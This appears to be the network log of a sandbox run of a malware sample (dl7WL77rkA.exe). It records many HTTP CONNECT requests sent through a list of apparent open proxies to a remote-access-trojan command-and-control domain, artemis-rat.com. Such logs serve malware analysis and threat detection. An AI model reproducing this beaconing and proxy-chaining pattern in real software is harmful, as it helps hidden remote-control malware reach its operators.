Mar 11, 2024 03:30:57.405354023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.405445099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2168	192.168.2.5	54893	74.119.147.209	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.346424103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2169	192.168.2.5	55332	148.72.23.56	60069	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.346513987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2170	192.168.2.5	53441	162.241.158.204	60651	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.346649885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.905112982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.702112913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.092776060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2171	192.168.2.5	55229	115.89.203.59	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.353971958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.514379978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.608313084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.713973045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2172	192.168.2.5	53474	159.203.13.121	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.354130030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389525890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.405352116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.405653000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2173	192.168.2.5	55493	193.239.58.92	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.354494095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2174	192.168.2.5	53484	159.89.194.121	60322	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.355099916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2175	192.168.2.5	53501	122.116.150.2	9000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.359977961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2176	192.168.2.5	55305	103.179.182.159	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.360167980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.809405088 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2177	192.168.2.5	55355	162.214.165.203	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.360169888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.514615059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.608315945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.713964939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2178	192.168.2.5	53488	49.48.64.130	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.360577106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.990056992 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2179	192.168.2.5	54075	147.75.34.86	10008	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.360578060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.663963079 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2180	192.168.2.5	55496	36.93.157.49	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.367409945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2181	192.168.2.5	53455	180.183.113.99	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.367537022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.749325037 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2182	192.168.2.5	55178	192.111.130.5	17002	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.418725014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2183	192.168.2.5	53630	51.158.119.71	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.433968067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.498780966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.595140934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.701941967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2184	192.168.2.5	53554	45.173.12.141	1994	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.437812090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.610029936 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2185	192.168.2.5	55404	95.66.138.21	8880	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.437941074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2186	192.168.2.5	53599	217.52.247.86	1981	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.438255072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.498806953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.595158100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.701965094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2187	192.168.2.5	55390	103.145.150.26	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.438335896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2188	192.168.2.5	55375	103.176.96.132	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.438427925 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2189	192.168.2.5	54478	24.144.95.218	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.438430071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.614360094 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2190	192.168.2.5	55424	104.238.111.107	5452	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.438492060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.014482975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.509099007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.514488935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.608247995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.608315945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:59.701919079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.714030027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2191	192.168.2.5	55497	142.54.229.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.441020012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2192	192.168.2.5	53697	198.12.255.193	22785	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.441848040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.498806953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.595158100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.701977015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2193	192.168.2.5	53774	107.180.95.177	64731	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.441956997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.498781919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.595139980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:03.701961994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2194	192.168.2.5	53682	135.148.10.161	41146	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.444593906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2195	192.168.2.5	53782	162.241.46.40	41442	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.497452021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2196	192.168.2.5	53689	107.180.95.177	63951	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.498259068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.514615059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2197	192.168.2.5	53712	177.87.250.66	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.499823093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.687254906 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2198	192.168.2.5	53805	159.224.45.64	41890	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:51.516379118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
